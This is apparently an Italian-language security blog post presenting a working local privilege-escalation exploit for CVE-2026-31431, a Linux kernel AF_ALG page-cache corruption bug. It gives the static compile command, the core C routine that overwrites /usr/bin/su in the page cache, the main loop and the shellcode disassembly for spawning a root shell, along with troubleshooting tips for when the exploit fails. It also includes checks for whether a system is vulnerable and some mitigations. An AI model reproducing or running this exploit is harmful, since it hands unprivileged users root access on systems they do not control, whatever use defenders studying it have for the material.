CVE-2026-31431 — Escalatazione dei Privilegi Locali tramite AF_ALG

2026-04-29 — Pubblico questo exploit un giorno dopo averlo condiviso sul forum MyDigitalLife. Non richiede Python; è scritto in C e compilato nella dimensione più piccola possibile usando:

root@kitploit:~

musl-gcc -static -Os -o exploit exploit.c -s

Minaccia critica. Il binario dell'exploit è compilato senza dipendenze e può essere utilizzato per testare le vulnerabilità su qualsiasi sistema Linux

CVE-2026-31431 è una vulnerabilità confermata da NIST nel kernel Linux che consente a un utente locale non privilegiato di ottenere una shell root in pochi secondi. Alla luce dell'exploit circolante pubblicamente per CVE-2026-31431, ho sviluppato una proof-of-concept (PoC) binaria per valutare l'esposizione della nostra infrastruttura interna. Sebbene alcuni ambienti limitino l'uso di su, questa vulnerabilità è particolarmente critica per i server condivisi perché colpisce la gestione della memoria del kernel sottostante. Di conseguenza, qualsiasi binario SETUID — inclusi sudo, passwd, mount o newgrp — può essere sfruttato per attivare l'exploit e ottenere una shell root. È necessaria un'azione amministrativa immediata per applicare la patch al kernel, poiché le restrizioni standard a livello di spazio utente sono insufficienti per mitigare questa minaccia. Qualsiasi sistema Linux che esegue un kernel non patchato è a rischio.

📚 Indice dei Contenuti

• Cos'è questa vulnerabilità
• Chi è colpito
• Come funziona l'exploit — passo dopo passo
• Flusso dell'attacco
• Analisi del codice dell'exploit
• Payload ELF — dettagli tecnici
• Come verificare se si è vulnerabili
• Mitigazioni
• Note del ricercatore
• Disclaimer

Cos'è questa vulnerabilità

CVE-2026-31431 è un bug nella gestione delle operazioni di I/O scatter-gather e dei riferimenti alla cache delle pagine nel sottosistema crittografico del kernel Linux — in particolare nell'implementazione dei socket AF_ALG per gli algoritmi AEAD (crypto/af_alg.c, crypto/aead.c).

Cosa succede realmente

Il kernel Linux espone un'interfaccia crittografica allo spazio utente tramite i socket AF_ALG. La vulnerabilità risiede nel fatto che durante un'operazione di decrittazione AEAD, il kernel mappa erroneamente l'output della decrittazione direttamente sulle pagine della cache delle pagine del file sorgente — invece di un buffer temporaneo. Un attaccante può quindi sovrascrivere il contenuto in memoria di qualsiasi file senza modificarlo su disco, senza privilegi root e senza lasciare tracce visibili nel filesystem.

Chi è colpito

Come funziona l'exploit — passo dopo passo

L'exploit è composto da due componenti: uno script helper in /tmp/x e un ciclo di corruzione basato su AF_ALG. Di seguito una descrizione esatta basata sull'analisi del codice sorgente:

1. Configurazione dello script helper

L'exploit crea /tmp/x con il seguente contenuto:

#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

Imposta i permessi a 0755. Il motivo: /usr/bin/su rimuove le variabili d'ambiente (inclusa TERM) all'avvio. Lo script helper le ripristina prima di generare la shell reale, garantendo un terminale funzionante.

2. Costruzione del payload ELF

Un binario ELF x86_64 minimale di 158 byte contenente shellcode grezzo viene costruito in memoria. La stringa /bin/sh all'offset 150 viene poi modificata in /tmp/x\0 tramite memcmp/memcpy. Vedere Payload ELF per i dettagli.

3. Apertura di /usr/bin/su in sola lettura

int su_fd = open("/usr/bin/su", O_RDONLY);

Il file viene aperto in sola lettura — l'exploit non richiede alcun permesso di scrittura.

4. Ciclo di corruzione — 39 iterazioni di 4 byte ciascuna

Il payload (158 byte) viene elaborato in blocchi di 4 byte (39 blocchi completi). Ogni blocco viene passato a corrupt_binary_chunk(), che esegue:

• Crea un socket AF_ALG (SOCK_SEQPACKET)
• Si associa a authencesn(hmac(sha256),cbc(aes)) — un algoritmo AEAD composto
• Imposta una chiave di 72 byte e una dimensione del tag di autenticazione di 4 byte
• Accetta un socket di operazione (op_sock)
• Invia sendmsg con un buffer di 8 byte (4× 'A' + 4 byte di payload) e tre CMSG: ALG_OP_DECRYPT, IV (20 byte), assoclen=8
• Esegue splice: su_fd → pipe → op_sock (zero-copy attraverso il kernel)
• Finalizza tramite recv() — è qui che il kernel sovrascrive erroneamente la cache delle pagine

5. Esecuzione

execve("/usr/bin/su", args, NULL);

Il kernel carica /usr/bin/su attraverso la cache delle pagine — che ora è avvelenata. Il bit SUID (chmod u+s) è intatto, quindi il kernel esegue il file come root. Lo shellcode esegue setuid(0) → execve("/tmp/x") → shell root interattiva.

Flusso dell'attacco

flowchart TD
    A[Utente locale non privilegiato] --> B["Crea script helper /tmp/x\nchmod 0755"]
    B --> C["Costruisce payload ELF di 158 byte\nPatch: /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\nNessun permesso di scrittura necessario"]
    D --> E[Ciclo: 39 blocchi di 4 byte]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind: authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt: chiave 72B + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg: dati 8B + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice: su_fd → pipe → op_sock\nzero-copy attraverso il kernel"]
    K --> L[recv → finalizza operazione AEAD]
    L --> M["BUG DEL KERNEL: output della decrittazione\nsovrascrive la cache delle pagine di su_fd"]
    M --> N{Prossimo blocco?}
    N -->|Sì| E
    N -->|No| O["execve /usr/bin/su"]
    O --> P["Il kernel carica /usr/bin/su\ndalla cache delle pagine avvelenata"]
    P --> Q["Bit SUID intatto\nil kernel esegue come root"]
    Q --> R["Shellcode: setuid 0 syscall 105"]
    R --> S["execve /tmp/x syscall 59"]
    S --> T[Shell root interattiva]

Analisi del codice dell'exploit

Sezioni chiave di exploit.c esaminate di seguito:

Funzione corrupt_binary_chunk()

Il cuore dell'exploit. Ogni chiamata coordina una transazione AF_ALG completa:

static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // Crea socket AF_ALG e si associa a AEAD authencesn(hmac(sha256),cbc(aes))
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // Chiave di 72 byte + dimensione del tag di autenticazione = 4 byte
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // Buffer: 4x 'A' come dati associati + 4 byte di payload
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3 CMSG: operazione DECRYPT / IV (20B, primo byte 0x10) / assoclen=8
    // sendmsg con MSG_MORE — dati non ancora completi
    sendmsg(op_sock, &msg, MSG_MORE);

    // splice zero-copy: su_fd → pipe → op_sock (offset+4 byte)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv finalizza l'operazione — il kernel scrive erroneamente nella cache delle pagine di su_fd qui
    recv(op_sock, dummy, 8 + offset, 0);
}

Ciclo principale

for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // salta gli ultimi 2 byte (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 blocchi completi × 4 byte = 156 byte applicati

Payload ELF — dettagli tecnici

Il payload è un binario ELF x86_64 autonomo di 158 byte con shellcode grezzo — nessun linker dinamico, nessuna libreria esterna.

Shellcode — disassemblato

; offset 120 — punto di ingresso 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (offset 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; offset 150
db "/tmp/x", 0, 0      ; (modificata da "/bin/sh\0")

Come verificare se si è vulnerabili

Passo 1 — verificare la versione del kernel

uname -r

Confrontare l'output con l'elenco delle versioni vulnerabili pubblicato da NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431

Passo 2 — verificare se AF_ALG è disponibile

python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG disponibile — il sistema potrebbe essere vulnerabile')"

Se il comando restituisce [Errno 97] Address family not supported — il modulo è disabilitato e il rischio è significativamente inferiore.

Passo 3 — verificare SUID su /usr/bin/su

ls -la /usr/bin/su

Se il bit s è presente (es. -rwsr-xr-x) — /usr/bin/su ha SUID impostato ed è il vettore d'attacco.

Mitigazioni

Soluzione temporanea (fino a quando la patch del kernel non sarà disponibile)

# Scaricare il modulo AF_ALG se non necessario
sudo modprobe -r af_alg 2>/dev/null || echo "Il modulo è compilato nel kernel — impossibile scaricarlo"

# In alternativa — rimuovere SUID temporaneamente
sudo chmod u-s /usr/bin/su

Note del ricercatore

Questa sezione è destinata ai ricercatori di sicurezza che analizzano la vulnerabilità in un ambiente isolato.

socket() o bind() falliscono

Sintomo: perror("socket") o perror("bind") attivano l'uscita.

Cause:

1. Il kernel non supporta AF_ALG o l'algoritmo authencesn — verificare: cat /proc/crypto | grep authencesn
2. Caricare i moduli richiesti: sudo modprobe hmac sha256 cbc aead authencesn
3. AppArmor/SELinux sta bloccando la creazione del socket AF_ALG — controllare i log: dmesg | tail -20

splice() restituisce EPERM / EINVAL

Sintomo: L'operazione di splice viene rifiutata dal kernel.

Cause:

1. Verificare che su_fd punti a un file regolare, non a un symlink o dispositivo
2. Controllare dmesg per voci di log di audit che bloccano lo zero-copy nei socket crittografici
3. Verificare che nessun LSM stia intercettando l'operazione

execve genera una shell utente normale

Sintomo: Nessun prompt root; id mostra l'UID originale.

Cause:

1. /usr/bin/su non ha il bit SUID — ls -la /usr/bin/su, il bit s deve essere visibile
2. La cache delle pagine potrebbe essere stata svuotata prima di execve — aggiungere sync o ridurre il ritardo del ciclo
3. Il sistema ha una patch per CVE-2026-31431 — verificare la versione del kernel

/tmp/x non trovato o TERM mancante

Sintomo: La shell si avvia ma il rendering del terminale è danneggiato.

Cause:

1. Assicurarsi che /tmp sia scrivibile e non montato con noexec
2. /tmp/x deve avere permessi 0755 — verificare: ls -la /tmp/x
3. Se execve("/tmp/x") fallisce — lo shellcode può essere ri-modificato per usare /bin/sh direttamente

Disclaimer

AVVERTENZA: Questo documento è pubblicato esclusivamente a scopo informativo, educativo e difensivo. Descrive una minaccia pubblicamente nota identificata da NIST e segnalata dalla comunità della sicurezza. Eseguire l'exploit su sistemi di cui non si è proprietari o per i quali non si dispone di autorizzazione esplicita al test può violare le leggi applicabili e comportare responsabilità penali. Testare solo in ambienti di laboratorio isolati.

Tutti i marchi sono di proprietà dei rispettivi titolari. Linux e i marchi correlati sono marchi della Linux Foundation.

Ultimo aggiornamento: 2026-04-29